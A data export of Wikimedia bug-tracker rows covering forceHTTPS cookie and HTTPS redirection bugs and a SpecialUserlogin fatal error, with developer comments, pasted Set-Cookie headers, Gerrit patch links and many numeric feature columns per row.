+https://gerrit.wikimedia.org/r/108486",,,1390200070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,False,,,20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255858,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864580,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c2,3,True,,,11,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+55538,Logged users redirected to HTTPS only on some wikis,"In the recent deployment of HTTPS the users who asked for being redirected to HTTPS are given global forceHTTPS cookies to be redirected to HTTPS on (theoretically) all wiki projects: Wikipedia, Wikisource, etc. In the current setup these global forceHTTPS cookies are set on global domains (.wikipedia.org, etc) but they are prefixed by the original wiki prefix (e.g. frwikiforceHTTPS) or by English-language prefixes (e.g. enwikisourceforceHTTPS), therefore the other language wikis are not redirected to HTTPS.
+
+I guess that this is a bug since some languages (English) are redirected to HTTPS and the others are not, at least it is non-intuitive from a user point of view.
+
+This bug is related to bug 53536 about the absence of removing of the global forceHTTPS cookies in the Wikimedia environment.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",High,80.0,1377786420,1378321358.0,PHID-USER-2nopae2cxuamwcbndaih,False,,False,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_description,resolved,True,c2,3,False,False,True,0,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+248853,Logged users redirected to HTTPS only on some wikis,"The remaining fixes will be deployed with 1.22wmf16, so I think we can close the bug. If we need to deploy these sooner, we can schedule a time to backport and deploy the changes.",,,1378321358,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+248846,Logged users redirected to HTTPS only on some wikis,"(In reply to comment #10)
+> Change 82065 merged by jenkins-bot:
+> Also redirect if prefixed https cookie is preset
+
+Is more work needed to fix this bug report? If so, what?",,,1378124527,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1
+248839,Logged users redirected to HTTPS only on some wikis,"Change 82065 merged by jenkins-bot:
+Also redirect if prefixed https cookie is preset
+
+https://gerrit.wikimedia.org/r/82065",,,1378053669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248826,Logged users redirected to HTTPS only on some wikis,"Change 82065 had a related patch set uploaded by CSteipp:
+Also redirect if prefixed https cookie is preset
+
+https://gerrit.wikimedia.org/r/82065",,,1377907281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248817,Logged users redirected to HTTPS only on some wikis,"If the old cookie is kept it will be until the end of September (4-5 WMF deployments) before natural expiration, and the code for the old cookie will become useless. Perhaps it is better to keep the old cookie to make smoother the transition? (I have no real opinion.)",,,1377821916,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+248808,Logged users redirected to HTTPS only on some wikis,"It will go out with wmf16, on Sept 5th, unless we push it out early. I could also add a check for the old cookie name.",,,1377818229,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+248802,Logged users redirected to HTTPS only on some wikis,"Thanks for your changes.
+
+These changes will temporary break the redirections from HTTP to HTTPS for logged users when it will be deployed until the next login. If possible I think it is better to let wikitech ambassadors know this fact to reduce surprises of the editors; the next Tech News will be probably issued in English tommorow evening, is there an expected deployment date for these two changes? (I don’t know how it is scheduled)",,,1377816874,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+248797,Logged users redirected to HTTPS only on some wikis,"Change 81867 merged by jenkins-bot:
+Remove prefix from forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/81867",,,1377810176,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248794,Logged users redirected to HTTPS only on some wikis,"Change 81867 had a related patch set uploaded by CSteipp:
+Remove prefix from forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/81867",,,1377809832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248790,Logged users redirected to HTTPS only on some wikis,"Change 81864 merged by jenkins-bot:
+Remove prefix from forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/81864",,,1377809787,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248786,Logged users redirected to HTTPS only on some wikis,"Change 81864 had a related patch set uploaded by CSteipp:
+Remove prefix from forceHTTPS cookie
+
+https://gerrit.wikimedia.org/r/81864",,,1377808874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248783,Logged users redirected to HTTPS only on some wikis,"A solution for this bug would be to set non-prefixed forceHTTPS cookies (name=""forceHTTPS"") in the global domains.
+
+This solution should be implemented in MediaWiki to check the existence of non-prefixed forceHTTPS cookies (Wiki::main) and in CentralAuthUser::setGlobalCookies.
+
+This solution would facilitate the resolution of bug 53536 because all domains would have the same cookie, as opposed to the current situation where the original wiki project (where the user logged in) is prefixed by the original language wiki (e.g. frwikiforceHTTPS set on .wikipedia.org domain) and the other wiki projects prefixed by the English-language wikis (e.g. enwikisourceforceHTTPS).",,,1377788753,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-fb6j2vkec2zn2cqdeydq,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0
+55379,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","$wgSecureLogin is enabled on test2 wiki, so my logins redirect to https.  The fix for bug 29898 is also on test2 wiki, so I have a preference ""Always use a secure connection when logged in"" which defaults to checked.
+
+But if I uncheck this and save my preferences, I can't access the site over HTTP -- I still get redirected to https. It's very confusing. No matter what I do, accessing any page over HTTP redirects me to the https secure URL until I logout.
+
+It's happening because my UserLogin sets $wgCookiePrefixforceHTTPS to true, and changing the preference does NOT clear this cookie. I have to logout, after logging back in (which redirects to secure page), I can then access other pages over http.
+
+Changing the 'prefershttps' preference should clear the cookie, or the preference needs a warning/tooltip/explanation that ""This change will only take effect after you log out and log back in.""
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: major",High,80.0,1377556080,1378052706.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_description,resolved,True,c2,2,False,False,True,-1,True,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+239518,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #15)
+Well Facebook gets this right with a single choice,
+so once this is working right on Wikipedia (yet?) one will be enough...",,,1381753454,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+239513,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #14)
+> Please add a second preference:
+
+Please file separate requests as separate tickets (though I can imagine this request to be a WONTFIX as I'm not convinced how large the userbase would be for adding yet another preference.)",,,1381742437,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,6,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1
+239509,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Please add a second preference:
+[ ] Never use a secure connection (HTTPS) when logged in.
+for those who wish totally the converse.",,,1381695889,,PHID-USER-awbqewknju4hbrnah6pm,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,6,True,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+239504,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I don't know about deployed, but definitely fixed.",,,1378052706,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+239499,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",Is this fixed and deployed now?,,,1378026410,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+239496,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81614 abandoned by Seb35:
+Set a non-secure attribute when clearing a cookie
+
+Reason:
+This change was integrated in the more general change I3c16ff92781e1a72346058ae3838d8fc47019d55
+
+https://gerrit.wikimedia.org/r/81614",,,1377815239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0
+239491,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Thanks for the research Seb35. In most browsers, cookies with the same name will overwrite each other, even with different security, but there could be some browsers that don't. If you see any that follow that behavior, we could add your patch in. Otherwise, I think I'll focus on getting bug 53536 fixed.",,,1377791540,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0
+239487,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I was mistaken, sorry, a non-secure cookie can be deleted by a corresponding secure cookie. I just tried again with Opera and Firefox and they are really deleted (I probably worked too late last night), as it seems to be confirmed by the function nsCookieService::GetCookieStringInternal [1] in Mozilla (I guess it’s this one, although not sure). Therefore my gerrit patch is not useful, apart if some browsers search their internal database with exactly the same value for the secure attribute.
+
+The bug in Wikimedia environment stays but only because the .wikipedia.org cookie is not deleted (the local one is deleted). By the way I should have open a new bug since it is a bit different than the original description, I read too quickly the description, sorry. This specific bug is 53536.
+
+[1] http://mxr.mozilla.org/mozilla-central/source/netwerk/cookie/nsCookieService.cpp",,,1377785323,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+239482,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","I confirm experimentally that removing the Secure attribute to the forceHTTPS cookie correctly delete the cookie when log out (on Opera 12.16 and Firefox 20.0). A step to really confirm this is to dive into the source code of Firefox, or perhaps try to better examinate the RFC 6265.
+
+(I should have tested it before submitting the gerrit patch, sorry, it’s the first gerrit patch I submit.)",,,1377741927,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+239478,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81614 had a related patch set uploaded by Seb35:
+Set a non-secure attribute when clearing a cookie
+
+https://gerrit.wikimedia.org/r/81614",,,1377740826,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+239474,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Although it is true the cookie is removed when log out, I tried many times and it is never removed (with Opera 12.16 and Firefox 20.0). By investigating I see when I log out from a wiki (here frwiki) that the forceHTTPS cookie has a Secure attribute:
+
+  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; secure; httponly
+
+I wonder if this secure attribute doesn’t prevent the user-agent to modify/delete the non-secure cookie; I quickly searched in the RFC 6265 (cookies) but didn’t find anything about the interactions between secure and non-secure cookies. If this bug really comes this fact, the User::clearCookie have to be changed to receive an argument to clear explicitely-unsecure cookies.
+
+As a side fact, I see there are two forceHTTPS cookies when you connect to Wikipedia: one set by frwiki (domain fr.wikipedia.org) and one set by login.wikimedia.org (domain .wikipedia.org); I don’t know how this interacts with this bug.
+
+Login from the specific wiki (here frwiki):
+  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; httponly
+Continuation of the login, from login.wikimedia.org:
+  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; domain=.wikipedia.org; httponly",,,1377739656,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+239469,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81531 had a related patch set uploaded by Chad:
+Add help message to prefershttps
+
+https://gerrit.wikimedia.org/r/81531",,,1377712827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239464,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #0)
+
+> It's happening because my UserLogin sets $wgCookiePrefixforceHTTPS to true,
+> and
+> changing the preference does NOT clear this cookie. I have to logout, after
+> logging back in (which redirects to secure page), I can then access other
+> pages
+> over http.
+
+Correct. Your cookies, and their security, are setup on login, not preference updates. So you would have to re-login to see the effect.
+
+A help notice would probably be the best way to handle it. The alternative is to reset all the user's cookies on a preference update, which I don't think is something we want to do.
+
+(In reply to comment #3)
+> The help message might be the way to go. Because the preference isn't the
+> only
+> thing that determines whether the user is put over HTTPS or not.
+
+This is also true. If the preference is unchecked, we'll always set your cookies insecure, but we will redirect back to https if you came from an https page when you clicked login. So yeah, I think a warning message is really the only way we can sanely manage this.",,,1377623727,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,True,,,-1,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+239457,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",The help message might be the way to go. Because the preference isn't the only thing that determines whether the user is put over HTTPS or not.,,,1377619649,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+239451,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",I ran into this as well when testing. really confusing.,,,1377618755,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+239445,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","The converse isn't the case: if I then visit my preferences page over insecure http and re-check the preference ""Always use a secure connection when logged in"", upon saving preferences I'm redirected to the secure site, and all my subsequent attempts to access over http are redirected (good!).  Even though I don't have the forceHTTPS cookie set, even though I didn't log out and back in.",,,1377556495,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+55246,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Fatal error:  Call to a member function formatDuration() on a non-object in /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php
+on line 818
+
+
+Will grab a stack trace
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1377215100,1377283590.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-yjkzj3hbguehkqc54oi6,task_description,resolved,True,c2,2,True,False,True,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+256787,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80520 merged by jenkins-bot:
+Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818
+
+https://gerrit.wikimedia.org/r/80520",,,1377283579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+256780,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80521 merged by Reedy:
+Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818
+
